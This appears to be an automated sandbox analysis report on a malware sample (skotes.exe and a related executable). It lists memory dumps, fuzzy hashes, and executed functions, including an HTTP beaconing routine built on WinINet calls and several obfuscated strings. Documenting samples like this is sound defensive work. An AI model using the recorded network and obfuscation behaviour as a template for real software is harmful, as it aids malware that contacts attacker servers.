Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b670bdafb86f454f4998b0c7289c9c7b7436bc06c67dbba3a57302393f4f43c
Instruction ID: b7a0be72092ce3b94cbb377d4e90339ee796133eeb0202face967cdd798dd9f0
Opcode Fuzzy Hash: 1b670bdafb86f454f4998b0c7289c9c7b7436bc06c67dbba3a57302393f4f43c
Instruction Fuzzy Hash: 87E04636004201AEC700AF54C84599FFBF8FF19321F258889E884CB662C3368C81CB2A

Analysis Process: SU4Z0W976Y8CJ3Z4HHN.exePID: 7860, Parent PID: 5140COMMON

Executed Functions

Function 054F084B Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b8c6e39255433ab3158e61996a8737434b061a2565db022bfb28ca6a5dab6eb
Instruction ID: 5ed248556acbe227ccf4032c34784ec76e1813330d4d00793ee700c8b8eab215
Opcode Fuzzy Hash: 7b8c6e39255433ab3158e61996a8737434b061a2565db022bfb28ca6a5dab6eb
Instruction Fuzzy Hash: 5201D8E724D140BEB302D2E937586F67BAAE9CB7303308467F24BC6103E264480B4770

Function 054F0831 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c29f86377bc787ad09d96c4bda035a481afef6c8766f35f46f0cad2a1a958c8
Instruction ID: 19fb5fd44d6a12dcb7510902b523425e14955e7bb526bf37f1cc9266228f10d4
Opcode Fuzzy Hash: 3c29f86377bc787ad09d96c4bda035a481afef6c8766f35f46f0cad2a1a958c8
Instruction Fuzzy Hash: DB01A2E660D200BEA211D5A97B98AF777ABE6DA7303308467F24BC6103E2A4494B4361

Function 054F082A Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dab372744c661158a30bf7d6a852a2975776f39f7a0abc0d7358e28556f3cb6
Instruction ID: b0ed00e25c58bb440bc28953cef1d9b38f3ba5efe4dbd394590559e30f71eb8f
Opcode Fuzzy Hash: 4dab372744c661158a30bf7d6a852a2975776f39f7a0abc0d7358e28556f3cb6
Instruction Fuzzy Hash: 3801A2E760D100FE6202C1AD76986F7776BE5DA6303308567F20FC6203E6A4490B0361

Function 054F085B Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa86e22cd869f5910843eb509316eb916c25ccc2dc84d60c3f7f4782742a64a
Instruction ID: 9df620a46ec8f231d1f11b8bff8e025310723680f62d884c58ff11451cb0d37f
Opcode Fuzzy Hash: cfa86e22cd869f5910843eb509316eb916c25ccc2dc84d60c3f7f4782742a64a
Instruction Fuzzy Hash: 85F0D6E720D140AEA212C1A836A86F77BABE9DA6303308467F64FC6203E155490B4361

Function 054F0878 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a0e72498b1c3030f14e62ccaee656fb06184dddc1e80931a0788191bc34191
Instruction ID: 76ef11ccad56220d54ea44b471d9383c81c399049a698d83f4ceae5988541a01
Opcode Fuzzy Hash: 06a0e72498b1c3030f14e62ccaee656fb06184dddc1e80931a0788191bc34191
Instruction Fuzzy Hash: 53F0B4A660D141AEA312C1A977586FA7B67E5CA6303308477F20BC6103F694450F1761

Function 054F08B2 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258643e9cf34d4e874c204ecbb879891ded6c92ce4875a47af14cc8c209bd20c
Instruction ID: 6c4cdfb1aed56c5b6e36f377e33e419b2cb613fc1ef914bbcaa0f1b5236a54b7
Opcode Fuzzy Hash: 258643e9cf34d4e874c204ecbb879891ded6c92ce4875a47af14cc8c209bd20c
Instruction Fuzzy Hash: 71E092A774E140AE7352C2F972683FA7BA6D9DA23037084A7E34EC7502E560084B4B51

Function 054F0952 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95ff3e72ec1cf56b755fa8fc19b204852d3f91e94a9f434f1bfc503ad08671b1
Instruction ID: 5af8dd6fd30c8435da41b0ba778df175ae11450d930d3ec8723c4601e84b5d01
Opcode Fuzzy Hash: 95ff3e72ec1cf56b755fa8fc19b204852d3f91e94a9f434f1bfc503ad08671b1
Instruction Fuzzy Hash: 6BE0616764E2D05E571393F922583FBFF625D9B53037410D3C1870A503A085014B8781

Function 054F08C4 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fd66a6dca4fc587e80ba93b7af463ee82d6a6eac9273c2adaf4b2ad407e507f
Instruction ID: 6172919beac56182b98aa9b714b1a0a9c5669277fdbd7ff20bbb5327ce418dc8
Opcode Fuzzy Hash: 1fd66a6dca4fc587e80ba93b7af463ee82d6a6eac9273c2adaf4b2ad407e507f
Instruction Fuzzy Hash: FAE026E3A0D240AA631381BD219817A7F9399CA53033044A7D34AC7206E4A1080B4701

Function 054F08D1 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e7befd47c7e5147df95cc9855bffa9c1dfd93266aa252c5f9e2d5e0cf41c14
Instruction ID: 517f5d788521a83bb17a448c4a16a316c504377a0069157c6f44cbd6ef0c14d8
Opcode Fuzzy Hash: 25e7befd47c7e5147df95cc9855bffa9c1dfd93266aa252c5f9e2d5e0cf41c14
Instruction Fuzzy Hash: 52E0CDE7B4D2407F735355F971942BA7F97EEDB5303304496D24AC6103E4A509074701

Function 054F08EB Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1637070746.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_54f0000_SU4Z0W976Y8CJ3Z4HHN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39f8125a115efd0d9c1b08b1c6383f2715aca843ef61579128787b8842e4043
Instruction ID: d9a5c0376d0c4ca09e280fcdd41c3a347594fff112358572bf0687d6e99e467d
Opcode Fuzzy Hash: a39f8125a115efd0d9c1b08b1c6383f2715aca843ef61579128787b8842e4043
Instruction Fuzzy Hash: D8D05EE3A093C867575223F821AD3AABFA65E1F51032465D9CA466B213A49709478742

Analysis Process: skotes.exePID: 1516, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	1862
Total number of Limit Nodes:	5

Executed Functions

Function 00F5BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00F5BEB8
InternetOpenW.WININET(00FA8DC8,00000000,00000000,00000000,00000000), ref: 00F5BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F5BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00F5BF36
HttpSendRequestA.WININET(?,00000000), ref: 00F5BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00F5C0A7
InternetCloseHandle.WININET(?), ref: 00F5C187
InternetCloseHandle.WININET(?), ref: 00F5C18F
InternetCloseHandle.WININET(?), ref: 00F5C197

Strings

RmNn, xrefs: 00F5D606
stoi argument out of range, xrefs: 00F5E4EA
8HJUeMD Lq5=, xrefs: 00F5C465
8HJUeIfzLo==, xrefs: 00F5C3CB, 00F5C623
RE1NXF==, xrefs: 00F5BF0E
invalid stoi argument, xrefs: 00F5E4F4

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: d14dba5c01291b6bac10f743926768f6194a56d6b99edefe78c4b0451697d063
Instruction ID: 21151098f11ba07f111f4cb8a3a13608ebb761d3f47e0432ca770d090debb6f0
Opcode Fuzzy Hash: d14dba5c01291b6bac10f743926768f6194a56d6b99edefe78c4b0451697d063
Instruction Fuzzy Hash: F7B1F4B1A002189FDB24DF28CC84B9EBBB5EF41305F508198FA09972D2DB759AC4DF95

Function 00F565E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00F56680

Strings

GSTmfV==, xrefs: 00F56728
ISNmfV==, xrefs: 00F567D1
RySfdMLx, xrefs: 00F5669C

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: cdc360881f9e1db8731679b4c2c5f011ab4d8274406110cfcdbe9597d099488a
Instruction ID: 021ab42316a23a60ff47748a3e2d6ce78b9382cadd81f20c85e9a1a7990a7e5a
Opcode Fuzzy Hash: cdc360881f9e1db8731679b4c2c5f011ab4d8274406110cfcdbe9597d099488a
Instruction Fuzzy Hash: 4B91F4B1A001189BDB28DF24CC85BDDB779EF45305F8045E9E619D3282DA349BC8DFA4

Function 00F6D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F524BE

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 2a7fda567c9767d20cd1fbbc4b3b842eee9732e139cd864c5cccea550978486b
Instruction ID: c85187c703bc71f6d715d99f32e30d77b85e9865baa4797b082841076cdccf01
Opcode Fuzzy Hash: 2a7fda567c9767d20cd1fbbc4b3b842eee9732e139cd864c5cccea550978486b
Instruction Fuzzy Hash: D451D0B2E0060A8BDB15DF58D8C57ADBBF4FB58324F24862AD405EB250D339E940EF90

Function 00F63640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00F6434F

Part of subcall function 00F67A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00F67AEC
Part of subcall function 00F67A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00F67AF8
Part of subcall function 00F67A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00F67B01

Strings

GE0, xrefs: 00F65585
stoi argument out of range, xrefs: 00F62EF2, 00F64359, 00F64F9C
", xrefs: 00F63F89
246122658369, xrefs: 00F61F95, 00F628DE, 00F62B33, 00F62BA0, 00F62F78, 00F63463, 00F634C4, 00F6502A, 00F6503D, 00F6507F, 00F65089, 00F65684
5120, xrefs: 00F63BAF, 00F63C9A
3I3eB==, xrefs: 00F64802
9c9aa5, xrefs: 00F65619
jS=, xrefs: 00F66513
VXA0, xrefs: 00F655AE
8WI0, xrefs: 00F65692
aWW0, xrefs: 00F6555C
MGE+, xrefs: 00F64866, 00F648DD, 00F64B85, 00F64BFC
WGpm, xrefs: 00F63CC9
invalid stoi argument, xrefs: 00F62ED9, 00F62EE8, 00F6434A, 00F64F8D
93E0, xrefs: 00F65600
Hykl, xrefs: 00F6387F
Vmc0, xrefs: 00F655D7
9HQ0, xrefs: 00F654E1
MGI+, xrefs: 00F648AD, 00F649DC, 00F64BCC, 00F64CFB
2I0, xrefs: 00F65627
V2Te, xrefs: 00F63EB0
WX f, xrefs: 00F63BDE
9250, xrefs: 00F654AD
Fw==, xrefs: 00F6378E, 00F64E1D
anE0, xrefs: 00F6566B
KCWUOl==, xrefs: 00F65649
VXQ0, xrefs: 00F6550A
WGS0, xrefs: 00F65533

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: 9a5fad9d02ce6532372756a2716df618db01fbfad6d58fca1cf014db57f8249e
Instruction ID: 60ef7812ea7cd3127ce2243e36a5b90cc97c891c4726ae86fa24382cc2382646
Opcode Fuzzy Hash: 9a5fad9d02ce6532372756a2716df618db01fbfad6d58fca1cf014db57f8249e
Instruction Fuzzy Hash: 90520671A002489BDF18EF78CD467DDBBB5AF45304F54458CE405A7382DB39AB84AB92

Function 00F647B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00F67A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00F67AEC
Part of subcall function 00F67A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00F67AF8
Part of subcall function 00F67A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00F67B01

Part of subcall function 00F5BE30: Sleep.KERNEL32(000005DC), ref: 00F5BEB8
Part of subcall function 00F5BE30: InternetOpenW.WININET(00FA8DC8,00000000,00000000,00000000,00000000), ref: 00F5BEC7
Part of subcall function 00F5BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F5BEEC
Part of subcall function 00F5BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00F5BF36

std::_Xinvalid_argument.LIBCPMT ref: 00F64F92

Strings

93E0, xrefs: 00F65600
GE0, xrefs: 00F65585
stoi argument out of range, xrefs: 00F64359, 00F64F9C
Vmc0, xrefs: 00F655D7
9HQ0, xrefs: 00F654E1
MGI+, xrefs: 00F648AD, 00F649DC, 00F64BCC, 00F64CFB
2I0, xrefs: 00F65627
246122658369, xrefs: 00F6502A, 00F6503D, 00F6507F, 00F65089, 00F65684
3I3eB==, xrefs: 00F64802
9c9aa5, xrefs: 00F65619
jS=, xrefs: 00F66513, 00F667E2
9250, xrefs: 00F654AD
VXA0, xrefs: 00F655AE
8WI0, xrefs: 00F65692
Fw==, xrefs: 00F6378E, 00F64E1D
aWW0, xrefs: 00F6555C
anE0, xrefs: 00F6566B
KCWUOl==, xrefs: 00F65649
MGE+, xrefs: 00F64866, 00F648DD, 00F64B85, 00F64BFC
VXQ0, xrefs: 00F6550A
WGS0, xrefs: 00F65533

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: 526b843e6a9e8c9d98211b2d328cc518ce1aa59c6951985824b9508663879bca
Instruction ID: 4edf9e4f811f9caf04fc7d6bffac3095b7ac3beed034702c825d64842f08d95e
Opcode Fuzzy Hash: 526b843e6a9e8c9d98211b2d328cc518ce1aa59c6951985824b9508663879bca
Instruction Fuzzy Hash: 4B231471E002588BEB19DB28CD8979DBB769B81304F5482DCE049A72D2DB399FC4EF51

Function 00F62F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

stoi argument out of range, xrefs: 00F64359
", xrefs: 00F63F89
Hykl, xrefs: 00F6387F
Fw==, xrefs: 00F6378E
246122658369, xrefs: 00F62F78
5120, xrefs: 00F63BAF, 00F63C9A
WTw=, xrefs: 00F62F5E
WGpm, xrefs: 00F63CC9
invalid stoi argument, xrefs: 00F6434A
V2Te, xrefs: 00F63EB0
WX f, xrefs: 00F63BDE

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
